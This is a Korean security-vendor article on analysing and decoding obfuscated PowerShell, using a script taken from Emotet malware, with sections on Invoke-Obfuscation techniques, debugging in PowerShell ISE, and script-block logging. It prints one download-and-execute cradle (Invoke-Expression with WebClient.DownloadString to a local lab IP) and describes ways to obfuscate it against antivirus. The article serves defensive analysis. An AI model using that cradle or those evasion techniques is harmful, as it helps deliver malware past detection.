보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

PowerShell 난독화 분석 및 복호화

2020.03.04

33,126

 


 

 

 

1. 개요


PowerShell은 시스템 관리자를 위해 특별히 설계된 Windows 명령줄 셸이다. Windows 10 Redstone 1703 빌드2 업데이트 이후 명령 프롬프트(cmd)가 Windows PowerShell로 변경되었다. 운영체제와 프로세스를 관리하는 기능의 대부분을 제어할 수 있는 API와 단일 함수 명령줄 도구(cmdlet, Command-Let)를 가지고 있기 때문에 비교적 짧은 소스코드로 효과적인 성능을 낼 수 있는 PowerShell은 공격자에 의해 자주 사용되었다.


PowerShell의 대표적인 위협으로는 명령어제어(C2)서버로부터 추가 악성코드를 Reflective DLL Injection 등의 다양한 공격 기법을 사용하여 시스템 메모리 직접 로드시키는 Fileless Attack이 있다. PowerShell은 2014년 발견된 Poweliks 악성코드 이후 급격하게 증가하여 2017년 통계에 따르면 PowerShell 스크립트 중 악성 스크립트가 95.4%[report from Symantec]에 달할 정도로 많은 악성 스크립트가 존재한다. 최근에 발생한 코로나바이러스감염증-19 안내문 사칭에 사용된 이모텟(Emotet) 악성코드에서 PowerShell 스크립트를 추출하여 난독화 및 복호화에 대해 정리해보고자 한다. 



 

[그림 1] PowerShell을 사용한 이모텟(Emotet) 악성코드 기사 (출처 : 보안뉴스)

 

02. Powershell 난독화 분석

 

1) Powershell 난독화 방식

 

PowerShell은 소스 코드를 직접 실행하는 인터프리터 언어이다. 공격자들은 자신이 제작한 악성 PowerShell 스크립트 소스코드 노출을 최소화하고, 안티 바이러스 제품이나 기타 보안 솔루션을 우회하여 성공적으로 장악하기 위해 다양한 기술 전략을 구사해 왔다. 이에 난독화 방식도 점점 발전해 왔는데 특히 PowerShell은 난독화 방법이 다양하고 하나 이상의 종류를 중첩한 난독화가 가능하다.

 

[그림 2]처럼 이모텟(Emotet) 악성코드는 추가 악성코드를 받기 위해 PowerShell 스크립트를 base64로 인코딩하여 난독화 구현 후 삽입하였다. base64로 난독화된 악성코드는 디코딩 방식으로 쉽게 복호화가 가능하기 때문에 악성코드 다운로드 URL을 바로 확인할 수 있다.

base64 인코딩된 PowerShell 스크립트는 행위기반 보안 솔루션(EDR 등)에서 탐지가 가능하지만 패턴 기반의 안티바이러스에서는 탐지하기 어렵다는 점을 공격자가 이용하였다.

 


 

[그림 2] 이모텟(Emotet) 악성코드 삽입된 PowerShell 스크립트

 

2) PowerShell 난독화 종류

 

PowerShell 스크립트 난독화는 PowerShell의 다양한 cmdlet과 인코딩/압축/alias 등 여러 방식으로 구현할 수 있고, 제작자의 노력에 따라 더 은밀한 난독화 기법을 만들 수 있다. Invoke-Obfuscation라는 도구는 단일, 이중, 복합 난독화를 지원하며, 공격자가 난독화를 편리하게 할 수 있는 대표적인 난독화 TOOL이다. PowerShell의 대표적인 난독화 방식에 대해 살펴보자.

 

 

[표 1] 난독화 종류 및 설명

 


 

[그림 3] Invoke-Obfuscation.ps1 (출처:github.com/danielbohannon) 

 

3) PowerShell 난독화 구현

 

앞서 언급한 대표적인 PowerShell 난독화 기법에 대해 Windows PowerShell ISE(통합 스크립팅 환경)에서 작성하여 실행되는 결과를 살펴보자. 

 

· 대소문자를 혼합하여 소스코드의 혼란을 야기  

 

 

[그림 4] Random Case

 

· 하나의 문자열을 분리 후 ‘+’기호로 연결

 

 

[그림 5] Division

 

· 문자의 순서를 지정하여 문자열 생성

 


[그림 6] Reorder

 

· 특수문자인  Back Tick 기호를 이용한 문자열 생성

 

 

[그림 7] Back Ticks

 

· 스크립트 블록 이용하여 문자열 함수화

 

 

[그림 8] Call Operator

 

· 분리된 문자열에 공백 추가

 


[그림 9] Whitespace

 

· Ascii를 이용하여 문자열 생성

 

 

[그림 10] Ascii char Assigns

 

· 특정 문자열을 다른 문자나 문자열로 치환

 

 

[그림 11] Replace

 

· Base64 인코딩하여 문자열을 숨김

 

 

[그림 12] Base64 Encoding

 

4) PowerShell  중첩 난독화

 

PowerShell 하나 이상의 난독화 방식을 선택하여 중첩되도록 구성하는 방식에 대해 알아보자.

[Invoke-Expression (New-Object Net.WebClient).DownloadString(“http://192.168.1.144/igloo.html”)]

해당 명령어는 악성코드에서 자주 사용되는 추가적인 파일을 가져오는 스크립트이다. 해당 스크립트를 이용하여 중첩 난독화를 구현하였다.

 

 

[그림 13] 중첩 난독화 과정

 

최종적으로 만들어진 PowerShell 스크립트를 PowerShell ISE에서 테스트 하였다. 난독화된 스크립트가  복호화되고 스크립트가 실행되면서 최종 목적인 해당 URL에서 문자열을 가져온다.

 

 

[그림 14] 난독화 결과

 

03. PowerShell  난독화 실전 분석

 

1) PowerShell 스크립트 정보

 

분석에 사용된 PowerShell 스크립트는 이모텟(Emotet) 악성코드에서 사용되던 악성 스크립트를 추출 후 난독화 테스트 용도로 가공하였다.

 

 

[표 2] 이모텟(Emotet) 악성코드 정보

 

스크립트는 2개의 난독화된 C2에서 파일을 다운로드하며, 이후 %TEMP%폴더에 실행파일(4z2.exe)로 저장하는 행위를 한다.

 

 

[그림 15] 테스트용 PowerShell 스크립트

 

2) PowerShell 스크립트 복호화

 

PowerShell 복호화 방법은 Windows PowerShell ISE 프로그램을 사용하여 디버깅을 수행하는 방식과 전용 디버거 프로그램으로 디버깅을 수행하는 등의 다양한 방식이 가능하다. 이번호에서는 Windows PowerShell ISE 프로그램의 디버거모드를 소개한다. 뛰어난 가시성과 사용자가 손쉽게 디버깅을 진행할 수 있는 Windows PowerShell ISE 프로그램을 사용한 복호화 방법에 대해 설명한다.

 

우선 Windows PowerShell ISE로 분석할 PowerShell 스크립트를 불러온다. ISE 화면에서 분석이 필요한 라인에 마우스 오른쪽 버튼을 클릭 후  중단점을 설정한다. 이후 메뉴의 디버그(D) 항목에서 실행/계속(C)나 F5키를 입력하여 디버그를 실행한다.

 

 

[그림 16] 중단점 설정 및 디버그

 

중단점이 설정되어 있는 상태에서 프로시저 단위 실행(V) F9 또는 한 단계씩 코드 실행(S) F11으로 PowerShell 스크립트에서 난독화된 문자열이 복호화 되는 시점까지 디버그를 진행한다. 이후 해당 변수를 선택하면 복호화된 문자열을 확인할 수 있다.

 

 

[그림 17] 복호화 완성된 문자열

 

Windows PowerShell ISE에서 지원하는 콘솔창에서 Set-PSBreakpoint Command-Let을 사용하여 조건에 맞는 복호화 된 변수나 결과값을 찾는 것도 가능하다.

 

 

[그림 18] Set-PSBreakpoint 사용

 

3) PowerShell Logging

 

PowerShell 악성코드 실행 시 윈도우 이벤트를 통해 PowerShell 스크립트를 확인하는 방법을 소개한다. 침해 사고 조사 시 PowerShell 악성코드의 동작 유무를 확인하는 방법이다.

우선 감사정책에서 PowerShell 스크립트 블록 로깅이 사용되도록 설정한다.

 

 

[그림 19] 이벤트로그 활성화

 

이벤트 뷰어에서 PowerShell 이벤트를 통해 실행된 PowerShell 구문은 확인 가능하나, 복호화된 스크립트는 확인되지 않기 때문에 복호화 과정을 수행해야 한다.

 


[그림 20] 이벤트 뷰어에서 확인한 스크립트

 

04. 결론

 

PowerShell 스크립트로 단독 공격하는 악성코드는 찾아보기 힘들다. 그러나 운영체제와 프로세스를 관리하는 기능을 대부분 제어할 수 있는 PowerShell은 문서형 악성코드와 함께 빈번히 사용되고 있으며, 특히 Reflective DLL Injection 기법을 사용한 Fileless Attack 악성코드는 분석 및 조사하기가 쉽지 않기 때문에 난독화된 PowerShell 스크립트을 빠르게 복호화하여 추가 대응이 필요하다.

분석가의 분석 실력이 발전하면서 악성코드 제작자는 PowerShell의 소스코드 노출을 숨기기 위해 PowerShell 난독화는 점점 지능적이며 다양한 방식으로 진화하고 있다.

 

05. 참고자료

 

[1] Invoke-Obfuscation 참고

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf

https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf

https://www.endgame.com/blog/technical-blog/deobfuscating-powershell-putting-toothpaste-back-tube

[2] PowerShell 스크립트 구문, 함수 참조

https://ss64.com/ps

https://docs.microsoft.com/ko-kr/powershell/scripting/overview

[3] PowerShell Encoding & Decoding (Base64)

https://adsecurity.org/?p=478

[4] 온라인 인코딩/디코딩 사이트

https://gchq.github.io/CyberChef/

[5] invoke-Obfuscation Tool

https://github.com/danielbohannon/Invoke-Obfuscation

[6] PowerShell 악성코드 샘플

https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/

https://www.virustotal.com/gui/file/877bfaeafabb1bedc7a0f4dce28722349f8c11eefa1c0c82db31321e149176bc/details

[7] PowerShell 이벤트뷰어 설정

https://www.varonis.com/blog/powershell-obfuscation-stealth-through-confusion-part-i/